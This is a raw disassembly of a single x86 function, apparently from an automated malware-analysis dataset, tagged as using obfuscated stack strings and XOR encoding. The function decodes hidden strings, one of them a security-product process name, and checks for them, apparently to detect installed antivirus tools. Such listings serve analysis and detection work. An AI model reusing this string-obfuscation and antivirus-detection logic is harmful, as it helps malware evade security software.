Function at 0x4296b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5349d9
mov eax, dword fs:[0]
push eax
sub esp, 0x5cc
mov eax, dword [0x58dd4c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x4d0], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x4cc], 0
mov dword [ebp - 0x4d4], esi
mov dword [esi], 0
call fcn.00424370
mov ecx, eax
test ecx, ecx
jne 0x429716
push 0x80004005
call fcn.00425150
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x4b0]
push 0x400
xorps xmm0, xmm0
mov dword [ebp - 0x4cc], 1
push 0
push eax
mov byte [ebp - 0x30], 0
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x17], 0
movq qword [ebp - 0x1f], xmm0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x4c8], 0x30213c2e
mov dword [ebp - 0x4c4], 0x32333a3b
mov dword [ebp - 0x4c0], 0x2d333a35
mov dword [ebp - 0x4bc], 0x2c317a21
mov byte [ebp - 0x4b1], 0x31
call fcn.00510f30
movups xmm0, xmmword [ebp - 0x4c8]
mov al, byte [ebp - 0x4b1]
add esp, 0xc
mov byte [ebp - 0x4a0], al
xor eax, eax
movups xmmword [ebp - 0x4b0], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x4b0], 0x54
inc eax
cmp eax, 0x11
jb 0x4297c0
xor ecx, ecx
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x31], al
test al, al
jne 0x4297d0
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
lea ecx, [ebp - 0x5d8]
push 3
lea eax, [ebp - 0x30]
push eax
call fcn.00423540
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x5d8]
call fcn.00429470
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x5d8]
mov byte [ebp - 0x4b1], al
cmp ecx, edx
je 0x42983a
push ecx
call fcn.00512967
mov al, byte [ebp - 0x4b1]
add esp, 4
test al, al
je 0x42984c
push 4
push str.wss
mov ecx, esi
call fcn.004239e0
push 0x400
xorps xmm0, xmm0
mov byte [ebp - 0x50], 0
lea eax, [ebp - 0x4b0]
movq qword [ebp - 0x3f], xmm0
push 0
push eax
movups xmmword [ebp - 0x4f], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
mov dword [ebp - 0x4c0], 0x27646267
mov dword [ebp - 0x4bc], 0x2c317a30
mov byte [ebp - 0x4b1], 0x31
call fcn.00510f30
movq xmm0, qword [ebp - 0x4c0]
add esp, 0xc
movq qword [ebp - 0x4b0], xmm0
mov al, byte [ebp - 0x4b0]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4af]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4ae]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ae], al
mov al, byte [ebp - 0x4ad]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4ac]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4ab]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ab], al
mov al, byte [ebp - 0x4aa]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4aa], al
mov al, byte [ebp - 0x4a9]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4b1]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
xor ecx, ecx
mov byte [ebp - 0x4a8], al
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x51], al
test al, al
jne 0x429aa0
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
lea ecx, [ebp - 0x5d8]
push 3
lea eax, [ebp - 0x50]
push eax
call fcn.00423540
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x5d8]
call fcn.00429470
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x5d8]
mov byte [ebp - 0x4b1], al
cmp ecx, edx
je 0x429b0a
push ecx
call fcn.00512967
mov al, byte [ebp - 0x4b1]
add esp, 4
test al, al
je 0x429b1c
push 4
push str.sds
mov ecx, esi
call fcn.004239e0
push 0x400
xorps xmm0, xmm0
mov byte [ebp - 0x70], 0
lea eax, [ebp - 0x4b0]
movq qword [ebp - 0x5f], xmm0
push 0
push eax
movups xmmword [ebp - 0x6f], xmm0
mov dword [ebp - 0x57], 0
mov word [ebp - 0x53], 0
mov byte [ebp - 0x51], 0
mov dword [ebp - 0x4c4], 0x17040505
mov dword [ebp - 0x4c0], 0x7a242006
mov word [ebp - 0x4bc], 0x2c31
mov byte [ebp - 0x4b1], 0x31
call fcn.00510f30
mov ax, word [ebp - 0x4bc]
add esp, 0xc
movq xmm0, qword [ebp - 0x4c4]
mov word [ebp - 0x4a8], ax
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4a6], al
xor eax, eax
movq qword [ebp - 0x4b0], xmm0
xor byte [ebp + eax - 0x4b0], 0x54
inc eax
cmp eax, 0xb
jb 0x429ba3
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x71], al
test al, al
jne 0x429bc0
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
lea ecx, [ebp - 0x5d8]
push 3
lea eax, [ebp - 0x70]
push eax
call fcn.00423540
mov dword [ebp - 4], 3
mov ecx, dword [ebp - 0x5d8]
call fcn.00429470
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x5d8]
mov byte [ebp - 0x4b1], al
cmp ecx, edx
je 0x429c2a
push ecx
call fcn.00512967
mov al, byte [ebp - 0x4b1]
add esp, 4
test al, al
je 0x429c3c
push 4
push str.qgs
mov ecx, esi
call fcn.004239e0
push 0x400
xorps xmm0, xmm0
mov byte [ebp - 0x90], 0
lea eax, [ebp - 0x4b0]
movq qword [ebp - 0x7f], xmm0
push 0
push eax
movups xmmword [ebp - 0x8f], xmm0
mov dword [ebp - 0x77], 0
mov word [ebp - 0x73], 0
mov byte [ebp - 0x71], 0
mov dword [ebp - 0x4c4], 0x20312c3f
mov dword [ebp - 0x4c0], 0x7a2d3526
mov word [ebp - 0x4bc], 0x2c31
mov byte [ebp - 0x4b1], 0x31
call fcn.00510f30
mov ax, word [ebp - 0x4bc]
add esp, 0xc
movq xmm0, qword [ebp - 0x4c4]
mov word [ebp - 0x4a8], ax
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4a6], al
xor eax, eax
movq qword [ebp - 0x4b0], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x4b0], 0x54
inc eax
cmp eax, 0xb
jb 0x429cd0
xor ecx, ecx
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x91], al
test al, al
jne 0x429ce0
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
lea ecx, [ebp - 0x5d8]
push 3
lea eax, [ebp - 0x90]
push eax
call fcn.00423540
mov dword [ebp - 4], 4
mov ecx, dword [ebp - 0x5d8]
call fcn.00429470
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x5d8]
mov byte [ebp - 0x4b1], al
cmp ecx, edx
je 0x429d50
push ecx
call fcn.00512967
mov al, byte [ebp - 0x4b1]
add esp, 4
test al, al
je 0x429d62
push 4
push str.kss
mov ecx, esi
call fcn.004239e0
push 0x400
xorps xmm0, xmm0
mov byte [ebp - 0xb0], 0
lea eax, [ebp - 0x4b0]
movq qword [ebp - 0x9f], xmm0
push 0
push eax
movups xmmword [ebp - 0xaf], xmm0
mov dword [ebp - 0x97], 0
mov word [ebp - 0x93], 0
mov byte [ebp - 0x91], 0
mov dword [ebp - 0x4c4], 0x27243d3c
mov dword [ebp - 0x4c0], 0x2d352620
mov dword [ebp - 0x4bc], 0x312c317a
call fcn.00510f30
mov eax, dword [ebp - 0x4bc]
add esp, 0xc
movq xmm0, qword [ebp - 0x4c4]
mov dword [ebp - 0x4a8], eax
xor eax, eax
movq qword [ebp - 0x4b0], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x4b0], 0x54
inc eax
cmp eax, 0xc
jb 0x429df0
xor ecx, ecx
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xb1], al
test al, al
jne 0x429e00
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
lea ecx, [ebp - 0x5d8]
push 3
lea eax, [ebp - 0xb0]
push eax
call fcn.00423540
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x5d8]
call fcn.00429470
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x5d8]
mov byte [ebp - 0x4b1], al
cmp ecx, edx
je 0x429e70
push ecx
call fcn.00512967
mov al, byte [ebp - 0x4b1]
add esp, 4
test al, al
je 0x429e82
push 4
push str.hrs
mov ecx, esi
call fcn.004239e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050e1f3
mov esp, ebp
pop ebp
ret